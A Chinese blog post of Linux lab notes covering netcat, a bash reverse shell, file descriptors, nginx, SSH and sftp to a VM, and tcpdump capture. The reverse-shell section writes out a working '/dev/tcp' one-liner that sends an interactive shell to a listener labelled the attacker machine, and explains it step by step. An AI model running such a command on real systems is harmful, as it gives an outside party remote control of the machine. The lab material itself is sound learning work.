首页 > 系统相关 >Bash反弹shell & 搭建网页服务器 & 文件描述符学习 & ssh连接vm虚拟机 & sftp进行文件传输 & Linux抓包

Bash反弹shell & 搭建网页服务器 & 文件描述符学习 & ssh连接vm虚拟机 & sftp进行文件传输 & Linux抓包

时间:2024-05-23 23:25:14浏览次数:25  
标签:1234 shell kali 虚拟机 文件传输 192.168 machine nginx brinmon

环境:
kali:

┌──(kali㉿kali)-[~/Desktop]
└─$ cat /proc/version
Linux version 6.0.0-kali5-amd64 ([email protected]) (gcc-12 (Debian 12.2.0-9) 12.2.0, GNU ld (GNU Binutils for Debian) 
      
1. 建立一个简单的链接进行nc,可以进行两个端口通信!
#首先使用nc监听端口
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvp 1234            
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 47210
#使用nc链接本地端口
┌──(kali㉿kali)-[~/Desktop]
└─$ nc 127.0.0.1 1234       
hello
ls
2. 试图向/dev/tcp/127.0.0.1/1234发送数据失败!

原因:反弹shell失败 原来是这个原因_反弹shell时kali监听不到端口数据怎么办-CSDN博客
kali无法实现因为:kali的bash是默认关闭bash的网络重定向选项,也就是–enable-net-redirections选项
解决方法重写下载bash并重新编译:

wget https://ftp.gnu.org/gnu/bash/bash-5.1.tar.gz
tar -xzvf bash-5.1.tar.gz
cd bash-5.1
./configure --enable-net-redirections
make
sudo make install
3.在Ubuntu上实现向本地端口发送数据

这个文件路径是虚拟的:/dev/tcp/127.0.0.1/1234
tty1:

brinmon@brinmon-virtual-machine:~/桌面$ nc -lvp 1234
Listening on 0.0.0.0 1234
Connection received on localhost 59588
djajaslkdjalskdjlaksjdlka

tty2:

brinmon@brinmon-virtual-machine:~/桌面$ cat 1.txt > /dev/tcp/127.0.0.1/1234
4.实现反弹shell

攻击者机器Windows 10:
环境:netcat 1.11 for Win32/Win64 (eternallybored.org)

#监听1234端口
┌──E:\ReverseTools\netcat-win32-1.12
└─>nc -lvp 1234

被攻击者:Ubuntu

#被攻击者执行该命令
┌──brinmon@brinmon-virtual-machine:~/桌面
└─$ bash -i >& /dev/tcp/192.168.235.1/1234 0>&1 

这条命令的作用:

  1. 通过bash启动一个shell命令窗口,将这个窗口的输出重定位到攻击者的机器上
  2. 0>&1 ,1代表标准输出,已经指向攻击者的机器了,所以这条命令的作用是将标准输入也重定向到攻击者的机器
    注:192.168.235.1是本机的网关,因为是本地所以可以不需要是用ip,当然也可以使用

命令解释:
0. /dev/tcp/192.168.235.1/1234 攻击者开启的端口

  1. bash -i 启动一个shell命令窗口
  2. > 表示重定向输出
  3. & 表示将标准输出和标准错误重定向到同一个地方
  4. 0 表示标准输入(stdin)。
  5. 1 表示标准输出(stdout)。
  6. 0>&1 表示将标准输入重定向到标准输出,使得输入和输出都通过前面建立的 TCP 连接进行传输。
    成功获得shell:
5.文件描述符的使用
#include <stdio. h>
int main() {
	FILE *f = fopen( "1.txt" ,wb");//会创建文件描述符3
	system( "echo hello123 >&3");//>&3默认就算将0>&3,将标准输出重定向到文件1.txt
	fclose(f);
}
6.搭建网页服务器
  1. 安装nginx服务
root@brinmon-virtual-machine:/home/brinmon/桌面# apt-get install nginx
  1. 查看是否启动nginx服务
root@brinmon-virtual-machine:/var/www/html# sudo systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded (/lib/systemd/system/nginx.service; enabled; preset: enabled)
     Active: active (running) since Tue 2024-05-21 22:14:18 CST; 4min 47s ago
       Docs: man:nginx(8)
    Process: 3469 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (co>
    Process: 3470 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited>
   Main PID: 3558 (nginx)
      Tasks: 5 (limit: 2219)
     Memory: 6.2M
        CPU: 35ms
     CGroup: /system.slice/nginx.service
             ├─3558 "nginx: master process /usr/sbin/nginx -g daemon on; master_process o>
             ├─3560 "nginx: worker process"
             ├─3561 "nginx: worker process"
             ├─3562 "nginx: worker process"
             └─3563 "nginx: worker process"
  1. 可以去目录下编辑网页
root@brinmon-virtual-machine:/home/brinmon/桌面# cd /var/www/html
root@brinmon-virtual-machine:/var/www/html# ls
index.nginx-debian.html

index.nginx-debian.html就是我们的网页了!可以手动修改访问这个网页直接输入本机ip就好了!

成功:欢迎来到nginx! — Welcome to nginx!

7.ssh连接vm虚拟机

教程:SSH远程连接linux虚拟机详细步骤(超详细)_ssh连接虚拟机-CSDN博客

  1. 设置虚拟机的网络模式为NAT模式

  2. 在linux上下载ssh服务,openssh-server

#下载ssh服务
root@brinmon-virtual-machine:/var/www/html# sudo apt install openssh-server
#重启服务
root@brinmon-virtual-machine:/var/www/html# sudo service ssh restart
  1. 通过Windows连接linux
# ssh 用户名@ip地址   可以连接服务器
E:\ReverseTools\netcat-win32-1.12>ssh [email protected]
ssh: connect to host 192.168.235.128 port 22: Connection refused

E:\ReverseTools\netcat-win32-1.12>ssh [email protected]
The authenticity of host '192.168.235.128 (192.168.235.128)' can't be established.
ECDSA key fingerprint is SHA256:BYd+bOcoliIL45ML4l90wD1g8ljJ2eRIihPgCQg4wZo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.235.128' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 23.04 (GNU/Linux 6.2.0-39-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

15 更新可以立即应用。
这些更新中有 1 个是标准安全更新。
要查看这些附加更新,请运行:apt list --upgradable


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

brinmon@brinmon-virtual-machine:~$ ls
公共的  模板  视频  图片  文档  下载  音乐  桌面  pwndocker  snap  tools
8.sftp进行文件传输
E:\ReverseTools\netcat-win32-1.12>sftp [email protected]
[email protected]'s password:
Connected to 192.168.235.128.

sftp> ls
flag.txt    pwndocker   snap        tools    
sftp> get flag.txt
Fetching /home/brinmon/flag.txt to flag.txt
/home/brinmon/flag.txt                                                                100%   23     7.6KB/s   00:00
sftp> put nc.exe
Uploading nc.exe to /home/brinmon/nc.exe
nc.exe                                                                                100%   38KB   3.4MB/s   00:00

成功下载文件:

9.Linux抓包
#就可以开始抓包了
root@brinmon-virtual-machine:/home/brinmon/桌面# tcpdump -i ens33 -w 1.cap

可以将文件传入Windows用NetAnalyzer来分析流量包!

标签:1234,shell,kali,虚拟机,文件传输,192.168,machine,nginx,brinmon
From: https://blog.csdn.net/qq_65474192/article/details/139112813

相关文章

  • PowerShell 中重置SQL SERVER数据库的 SA(System Administrator)密码可以通过 SQL Serve
    PowerShell中重置数据库的SA(SystemAdministrator)密码可以通过SQLServerManagementObjects(SMO)来完成。以下是一个基本的PowerShell脚本,可以用来重置SA用户的密码:powershellCopyCode#导入SQLServer模块Import-ModuleSQLPS-DisableNameChecking#设置SQL......
  • MeterSphere BeanShell 前置脚本拦截请求,获取请求参数,加密后放回请求体
    在 BeanShell 前置脚本中拦截请求,获取请求参数,加密后放回请求头背景在测试小程序项目时,需要对post接口请求中的参数值拼成字符串,进行sha256加密,然后将加密好的字符串,存到请求头中。具体操作:这个场景就需要在前置处理器中使用 beanshell 进行请求拦截,对参数进行加密修改后,......
  • Make your own shell -- Assign4
    前言整个实验做了四天,也有很多东西想聊的。主要是分享我对其中的一些系统调用的理解,和整个shell是如何工作的,可能会有一些代码上的剧透,未完成该实验的朋友慎重观看。理解UnixShell在Linux中我们打开了一个终端,内核就会执行一个fork()来启动一个shell,之后我们在这个shell中输......
  • Jmeter脚本--BeanShell PreProcessor
    整理一份之前项目中的接口测试文档内容,主要为了方便以后能够更好的进行接口测试需求,本次以Jmeter进行接口测试。API对应的使用手册    接口对应的测试用例如下图所示:编写Jmeter测试用例 用户注册信息 添加BeanShellPreProcessor预处理程序变量脚......
  • powershell脚本批量拉取 git仓库文件
    #定义基础URL和数据库列表$BASE_URL="http://8.8.11.99:8999/yaya/"$DATABASES="common-service","bi-system","erp","gateway","pdm","plm","public-service","scm",&quo......
  • 写一个Linux的 shell脚本删除目录 stud001~stud140 目录下的所有文件
    用户:在linux的shell脚本中写个循环,可以遍历目录stud001直到stud140,并将目录stud001到stud140目录中的内容全部删除。讯飞星火:在shell脚本中,我们可以使用for循环和rm命令来实现这个需求。以下是一个简单的示例:1#!/bin/bash2foriin$(seq-f"%03g"1140)3do4......
  • 常用JVM虚拟机参数说明
    常用JVM虚拟机参数说明原文地址:https://docs.oracle.com/javase/8/docs/technotes/tools/unix/java.html非标准选项参数说明-Xcomp强制JVM虚拟机在方法第一次被调用的时候就进行本地编译。-Xint强制JVM运行在解释模式。在该模式下,方法不会被编译为本地代码,所有的字节码......
  • 在VMware Workstation虚拟机中利用Nvidia显卡的硬件加速功能
    研究了一下,在VMwareWorkstation虚拟机中利用Nvidia显卡的硬件加速功能,以下是详细的操作步骤:1.检查硬件和软件兼容性确认Nvidia显卡兼容性:访问Nvidia的官方网站,查阅支持列表,确认显卡型号支持虚拟机直通(Pass-Through)技术。https://developer.nvidia.com/zh-cn/cuda-gpusVMwar......
  • 基于ADB Shell 实现的 Android TV、电视盒子万能遥控器 — ADB Remote ATV
    ADBRemoteATVAndroidTV的遥控器,基于ADBShell命令ADBRemoteATV是一个AndroidTV的遥控器,基于ADBShell命令,泛用性更高。下面的shell命令,是软件的基本原理,通过shell命令可模拟物理遥控器的基本按键,此外还可以快捷启动指定APP、借助手机软键盘输入中/英字符等。......
  • linux kvm 给虚拟机增加磁盘
    目录linuxkvm给虚拟机增加磁盘查看当前磁盘确认当前虚拟机的虚拟磁盘位置手动创建虚拟磁盘将虚拟磁盘加到虚拟机里重启虚拟机并确认linuxkvm给虚拟机增加磁盘虚拟机磁盘不够了,需要当前的宿主机划分100G给虚拟机dameng-8-65查看当前磁盘//登陆宿主机,查看宿主机当前磁盘......